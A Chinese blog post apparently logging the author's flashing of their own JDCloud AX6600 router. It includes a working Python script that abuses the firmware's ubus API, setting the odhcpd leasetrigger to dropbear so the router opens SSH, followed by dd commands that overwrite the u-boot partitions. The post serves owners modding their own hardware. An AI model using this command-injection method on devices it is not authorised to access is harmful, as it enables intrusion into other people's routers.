JDCloud AX6600（雅典娜）刷机记录

WIFI7都发布了，是时候升级到WIFI6了。

前几个月矿难，某类路由器的价格一路狂跌。正好家里最近新增了个NAS，mt7621也性能瓶颈了，该换了。听朋友推荐，入手了这款京东云雅典娜。

设备说明

购买链接：https://u.jd.com/Q1f4V5S
到手价：263
设备硬件与评测：https://www.acwifi.net/18599.html
选购理由
- 好看
- 能当个表用
- 能刷openwrt
- 处理器性能足够强，ram和rom都足够大，可以满足跑一些小型服务的需求。

刷机

到手第一件事，肯定是把京东的破系统扬了，毕竟我又不拿来跑pcdn。

看了下网上的教程，都是拆机走9008刷机的。

设备到手，一看，好家伙，2022.10的老库存了，估计是老版rom，说不定不需要拆机。

ROM版本： JDC02-1.5.50.r2204

查了下，果然有漏洞，通过固件的ubus总线更改配置可以开启ssh。

开启SSH

漏洞原理就不分析了，看了下b站的教程，写得也忒晦涩了。

简单说下原理吧，具体的可以直接用我的脚本一把嗦

/usr/sbin/dropbear 是这个路由器负责启动SSH服务的进程，需要开启SSH服务启动一下这个就行了。

现在我们只需要一个命令注入，能执行命令启动dropbear，正好ipv6的DHCP服务有个漏洞，可以执行命令。

利用流程：

篡改/etc/config/dhcp，更新odhcpd配置，设置leasetrigger为我们要启动的dropbear
提交配置生效
开启ipv6的NAT6服务，触发命令执行，启动SSH

脚本：

import requests

url = "http://192.168.68.1/jdcapi"
sessionid = "" # 浏览器登陆后，从cookie里拿sessionsid的值

# 查看dhcp配置
def get_dhcp_config():
    r = requests.post(url, json={
        "jsonrpc": "2.0",
        "id": 1,
        "method": "call",
        "params": [
            sessionid,
            "uci",
            "get",
            {
                "config":"dhcp",
                "section":"odhcpd"
            }
        ]
    })
    print(r.json())
    
def set_dhcp_config():
    r = requests.post(url, json={
        "jsonrpc": "2.0",
        "id": 1,
        "method": "call",
        "params": [
            sessionid,
            "uci",
            "set",
            {
                "config": "dhcp",
                "type":"odhcpd",
                "section": "odhcpd",
                "values":{
                    "leasetrigger":"/usr/sbin/dropbear"
                }
            }
        ]
    })
    print(r.json())
    
    r = requests.post(url, json={
        "jsonrpc": "2.0",
        "id": 1,
        "method": "call",
        "params": [
            sessionid,
            "uci",
            "commit",
            {
                "config": "dhcp"
             } 
        ]
    })
    print(r.json())

if __name__ == "__main__":
    set_dhcp_config()

浏览器获取下cookie，执行上面的脚本。

浏览器进后台，路由设置-上网设置-IPV6网络设置，打开，切换上网方式为NAT6，保存即可触发。

轻松拿下shell。

刷入uboot

uboot：uboot-JDC_AX1800_Pro-AX6600_Athena-20240510.bin

先刷入uboot，直接scp上传到路由器上

然后开刷

# 刷入 u-boot，此步骤需要谨慎，刷错可能导致路由器无法启动，需要确保文件存在且完整
# 如果文件不完整这一步可能会导致路由器无法启动，所以一定要确认文件大小和完整性
dd if=/root/uboot-JDC_AX1800_Pro-AX6600_Athena-20240510.bin of=$(blkid -t PARTLABEL=0:APPSBL -o device) conv=fsync
dd if=/root/uboot-JDC_AX1800_Pro-AX6600_Athena-20240510.bin of=$(blkid -t PARTLABEL=0:APPSBL_1 -o device) conv=fsync